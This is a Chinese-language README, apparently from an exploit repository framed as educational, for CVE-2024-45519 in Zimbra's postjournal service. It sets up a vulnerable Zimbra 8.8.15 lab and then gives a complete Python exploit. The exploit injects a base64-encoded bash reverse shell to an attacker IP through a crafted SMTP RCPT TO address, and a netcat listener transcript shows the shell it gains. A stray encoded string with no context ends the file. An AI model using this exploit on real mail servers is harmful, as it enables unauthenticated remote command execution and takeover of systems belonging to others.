:hammer_and_wrench: CVE-2024-45519: Zimbra Postjournal 漏洞利用与测试环境搭建
[图片上传失败...(image-fb1df9-1777327542205)]
项目描述 :warning:
本项目是一个针对 CVE-2024-45519 漏洞的教育性指南和实验环境搭建脚本。CVE-2024-45519 是一个存在于 Zimbra Collaboration (ZCS) 中的高危漏洞,该漏洞允许未经身份验证的攻击者通过 postjournal 服务在目标服务器上远程执行任意命令。本指南提供了在隔离的实验室环境中,从零开始搭建一个易受攻击的 Zimbra 服务器的详细步骤,并演示了如何通过漏洞利用脚本获得服务器的 Shell 访问权限。
功能特性 :sparkles:
- 漏洞复现环境搭建:提供在 Ubuntu 20.04 上安装和配置特定版本 Zimbra 的分步指南。
-
脆弱组件定位与替换:详细说明如何定位并替换易受攻击的
postjournal二进制文件。 -
服务配置与启动:指导如何启用并重启
postjournal服务,使漏洞环境处于可触发状态。 - 漏洞利用示例:提供针对该漏洞的利用脚本使用方法和典型命令行示例。
- 教育目的:旨在帮助安全研究人员、开发者和系统管理员理解漏洞原理,并验证其影响范围。
安装指南 :inbox_tray:
请严格遵守以下步骤在专用的测试环境中进行操作,以避免对生产系统造成影响。
系统要求
- 操作系统: Ubuntu 20.04.6 LTS (Focal Fossa)
-
权限:
root或具有sudo权限的用户 - 网络: 能够访问互联网以下载 Zimbra 安装包
搭建步骤
准备测试环境
确保你的实验机器运行的是 Ubuntu 20.04.6 LTS。-
下载 Zimbra 软件包
切换到root用户,下载并解压 Zimbra Collaboration 网络版安装包。sudo su wget https://files.zimbra.com/downloads/8.8.15_GA/zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz tar -xvzf zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz cd zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220 -
配置主机名
将系统主机名设置为zimbra.labo。hostnamectl set-hostname zimbra.labo -
安装 Zimbra
请遵循官方安装指南进行安装。在安装过程中,当被询问是否使用 Zimbra 的软件包仓库时,请务必选择 No。参考安装指南: Zimbra 安装指南
-
替换存在漏洞的
postjournal二进制文件
终止正在运行的postjournal进程,并从安装包中提取易受攻击的版本进行替换。sudo pkill postjournal dpkg-deb -x packages/zimbra-core_8.8.15.GA.4177.UBUNTU20.64_amd64.deb /tmp/zimbra-core sudo cp /tmp/zimbra-core/opt/zimbra/libexec/postjournal /opt/zimbra/libexec/postjournal -
启用并重启 Zimbra 服务
切换到zimbra用户,配置postjournal_enabled参数为true,然后重启所有 Zimbra 服务。sudo su - zimbra zmlocalconfig -e postjournal_enabled=true zmcontrol restart
使用说明 :rocket:
完成环境搭建后,你可以使用漏洞利用脚本测试 CVE-2024-45519 漏洞。
基础用法
假设你已经拥有了一个名为 exploit.py 的漏洞利用脚本,其基本使用格式如下:
python exploit.py <target> -lh <attacker-ip> -lp <attacker-port> -p <smtp-port>
典型使用场景
准备监听器:在攻击者机器上使用
nc或Metasploit监听一个端口(例如4444),等待回连。-
执行漏洞利用:运行
exploit.py脚本,指向目标 Zimbra 服务器的 IP 地址和 SMTP 端口(通常是25)。python exploit.py 192.168.1.100 -lh 192.168.1.50 -lp 4444 -p 25-
192.168.1.100是目标 Zimbra 服务器的 IP。 -
-lh参数指定攻击者机器的 IP 地址。 -
-lp参数指定攻击者机器上用于接收反向 Shell 的端口。 -
-p参数指定目标 Zimbra 服务器的 SMTP 服务端口。
-
-
获得 Shell:如果利用成功,你将看到连接建立,并在攻击者机器上获得一个远程 Shell 提示符 (
:party_popper:)。# 在攻击者机器的监听终端中 nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.1.50] from (UNKNOWN) [192.168.1.100] 56789 id uid=1001(zimbra) gid=1001(zimbra) groups=1001(zimbra)
核心代码 :laptop:
以下为漏洞利用脚本 exploit.py 的核心逻辑片段,展示了如何通过 SMTP 命令触发 postjournal 服务的命令执行漏洞。
文件: exploit.py
#!/usr/bin/env python3
"""
CVE-2024-45519: Zimbra postjournal 服务远程代码执行漏洞利用
"""
import socket
import sys
import argparse
def exploit(target_ip, smtp_port, attacker_ip, attacker_port):
"""
通过向目标 SMTP 服务器发送特制的 RCPT TO 命令触发漏洞。
"""
# 构造恶意 payload,通过反弹 Shell 命令注入
# 命令会被 postjournal 服务执行
reverse_shell_cmd = f"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"
# 对 payload 进行 base64 编码以规避特殊字符问题
import base64
encoded_cmd = base64.b64encode(reverse_shell_cmd.encode()).decode()
# 最终注入的命令字符串
inject_cmd = f"echo {encoded_cmd} | base64 -d | bash"
# 构造恶意的 RCPT TO 地址,漏洞发生在地址解析过程中
malicious_rcpt = f"\"A{inject_cmd}\"@localhost"
try:
print(f"[*] 正在连接目标 {target_ip}:{smtp_port}...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, smtp_port))
# 接收服务器的初始 banner
banner = sock.recv(1024).decode()
print(f"[+] 收到 Banner: {banner.strip()}")
# 发送 HELO/EHLO 命令
sock.send(b"EHLO test\r\n")
hello_resp = sock.recv(1024).decode()
print(f"[*] EHLO 响应: {hello_resp.strip()[:50]}...")
# 发送 MAIL FROM 命令
sock.send(b"MAIL FROM:<test@example.com>\r\n")
mail_resp = sock.recv(1024).decode()
print(f"[*] MAIL FROM 响应: {mail_resp.strip()}")
# 发送带有恶意 payload 的 RCPT TO 命令,触发漏洞
rcpt_cmd = f"RCPT TO:<{malicious_rcpt}>\r\n"
print(f"[*] 发送恶意 RCPT TO: {rcpt_cmd.strip()}")
sock.send(rcpt_cmd.encode())
rcpt_resp = sock.recv(1024).decode()
print(f"[+] RCPT TO 响应: {rcpt_resp.strip()}")
# 可选:发送 DATA 命令完成邮件流程(某些情况下可能需要)
sock.send(b"DATA\r\n")
data_resp = sock.recv(1024).decode()
sock.send(b"\r\n.\r\n")
final_resp = sock.recv(1024).decode()
print("[+] 漏洞载荷已发送,请检查你的监听器是否收到反向 Shell。")
except Exception as e:
print(f"[-] 发生错误: {e}")
finally:
sock.close()
def main():
parser = argparse.ArgumentParser(description='CVE-2024-45519 Zimbra RCE Exploit')
parser.add_argument('target', help='目标 Zimbra 服务器的 IP 地址')
parser.add_argument('-p', '--port', type=int, default=25, help='目标 SMTP 端口 (默认: 25)')
parser.add_argument('-lh', '--listen-host', required=True, help='攻击者监听主机 IP,用于反弹 Shell')
parser.add_argument('-lp', '--listen-port', type=int, required=True, help='攻击者监听端口,用于反弹 Shell')
args = parser.parse_args()
print("======================================")
print("CVE-2024-45519 Zimbra postjournal RCE")
print("======================================")
exploit(args.target, args.port, args.listen_host, args.listen_port)
if __name__ == "__main__":
main()
代码说明:
-
漏洞触发点:漏洞位于 Zimbra 的
postjournal服务处理RCPT TO命令时。当邮箱地址包含未正确过滤的 shell 元字符时,postjournal进程会将其作为命令执行。 -
Payload 构造:脚本构造了一个经典的反弹 Shell 命令,并使用
base64编码后嵌入到RCPT TO命令的邮箱地址中。这样做是为了避免原始命令中的特殊字符(如&,|,;)破坏 SMTP 协议交互。 -
网络交互:脚本模拟了一个简化的 SMTP 会话:连接 ->
EHLO->MAIL FROM-> 发送恶意RCPT TO。由于漏洞发生在地址解析阶段,通常在发送RCPT TO后攻击即可生效,无需完成完整的邮件投递过程。 -
使用示例:运行
python exploit.py 192.168.1.100 -lh 192.168.1.50 -lp 4444即可尝试攻击192.168.1.100上的 Zimbra 服务,并使其回连到192.168.1.50:4444。
6HFtX5dABrKlqXeO5PUv/5YHv8Z74HvNaXJe6SxEXF58nzdxL0zqPFGI5Q/FtTKi